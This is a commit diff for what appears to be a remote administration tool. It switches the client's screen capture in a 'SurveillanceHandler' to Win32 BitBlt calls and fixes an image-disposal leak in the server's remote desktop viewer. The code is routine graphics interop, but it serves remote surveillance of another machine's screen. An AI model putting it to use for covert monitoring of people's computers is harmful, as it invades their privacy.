Fixed #294

Client/Core/Commands/SurveillanceHandler.cs

@@ -62,7 +62,7 @@ public static void HandleGetDesktop(Packets.ServerPackets.GetDesktop command, Cl
                     Bitmap desktop = null;
                     try
                     {
-                        desktop = RemoteDesktopHelper.GetDesktop(command.Monitor);
+                        desktop = RemoteDesktopHelper.CaptureScreen(command.Monitor);
                         desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height),
                             ImageLockMode.ReadWrite, desktop.PixelFormat);
 

Client/Core/Helper/RemoteDesktopHelper.cs

@@ -1,20 +1,33 @@
-using System.Drawing;
-using System.Drawing.Imaging;
+using System;
+using System.Drawing;
 using System.Windows.Forms;
+using xClient.Core.Utilities;
 
 namespace xClient.Core.Helper
 {
     public static class RemoteDesktopHelper
     {
-        public static Bitmap GetDesktop(int screenNumber)
+        private const int SRCCOPY = 0x00CC0020;
+
+        public static Bitmap CaptureScreen(int screenNumber)
         {
-            var bounds = GetBounds(screenNumber);
-            var screenshot = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppArgb);
-            using (Graphics graph = Graphics.FromImage(screenshot))
+            Rectangle bounds = GetBounds(screenNumber);
+            IntPtr desktopHandle = NativeMethods.GetDesktopWindow();
+            Bitmap screen = new Bitmap(bounds.Width, bounds.Height);
+
+            using (Graphics g = Graphics.FromImage(screen))
             {
-                graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy);
-                return screenshot;
+                IntPtr destDeviceContext = g.GetHdc();
+                IntPtr srcDeviceContext = NativeMethods.GetWindowDC(desktopHandle);
+
+                NativeMethods.BitBlt(destDeviceContext, 0, 0, bounds.Width, bounds.Height, srcDeviceContext, bounds.X,
+                    bounds.Y, SRCCOPY);
+                NativeMethods.ReleaseDC(desktopHandle, srcDeviceContext);
+
+                g.ReleaseHdc(destDeviceContext);
             }
+
+            return screen;
         }
 
         public static Rectangle GetBounds(int screenNumber)

Client/Core/Utilities/NativeMethods.cs

@@ -18,6 +18,36 @@ public static class NativeMethods
         [DllImport("user32.dll")]
         public static extern void mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);
 
+        [DllImport("user32.dll", SetLastError = false)]
+        public static extern IntPtr GetDesktopWindow();
+
+        [DllImport("user32.dll")]
+        public static extern IntPtr GetWindowDC(IntPtr hWnd);
+
+        [DllImport("user32.dll")]
+        public static extern bool ReleaseDC(IntPtr hWnd, IntPtr hDC);
+
+        /// <summary>
+        ///    Performs a bit-block transfer of the color data corresponding to a
+        ///    rectangle of pixels from the specified source device context into
+        ///    a destination device context.
+        /// </summary>
+        /// <param name="hdc">Handle to the destination device context.</param>
+        /// <param name="nXDest">The leftmost x-coordinate of the destination rectangle (in pixels).</param>
+        /// <param name="nYDest">The topmost y-coordinate of the destination rectangle (in pixels).</param>
+        /// <param name="nWidth">The width of the source and destination rectangles (in pixels).</param>
+        /// <param name="nHeight">The height of the source and the destination rectangles (in pixels).</param>
+        /// <param name="hdcSrc">Handle to the source device context.</param>
+        /// <param name="nXSrc">The leftmost x-coordinate of the source rectangle (in pixels).</param>
+        /// <param name="nYSrc">The topmost y-coordinate of the source rectangle (in pixels).</param>
+        /// <param name="dwRop">A raster-operation code.</param>
+        /// <returns>
+        ///    <c>true</c> if the operation succeedes, <c>false</c> otherwise. To get extended error information, call <see cref="System.Runtime.InteropServices.Marshal.GetLastWin32Error"/>.
+        /// </returns>
+        [DllImport("gdi32.dll", EntryPoint = "BitBlt", SetLastError = true)]
+        [return: MarshalAs(UnmanagedType.Bool)]
+        public static extern bool BitBlt([In] IntPtr hdc, int nXDest, int nYDest, int nWidth, int nHeight, [In] IntPtr hdcSrc, int nXSrc, int nYSrc, int dwRop);
+
         [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
         public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count);
 

Server/Forms/FrmRemoteDesktop.cs

@@ -93,7 +93,13 @@ public void UpdateImage(Bitmap bmp, bool cloneBitmap = false)
                 CountFps();
                 picDesktop.Invoke((MethodInvoker) delegate
                 {
+                    // get old image to dispose it correctly
+                    var oldImage = picDesktop.Image;
+
                     picDesktop.Image = cloneBitmap ? (Bitmap) bmp.Clone() : bmp;
+
+                    if (oldImage != null)
+                        oldImage.Dispose();
                 });
             }
             catch (InvalidOperationException)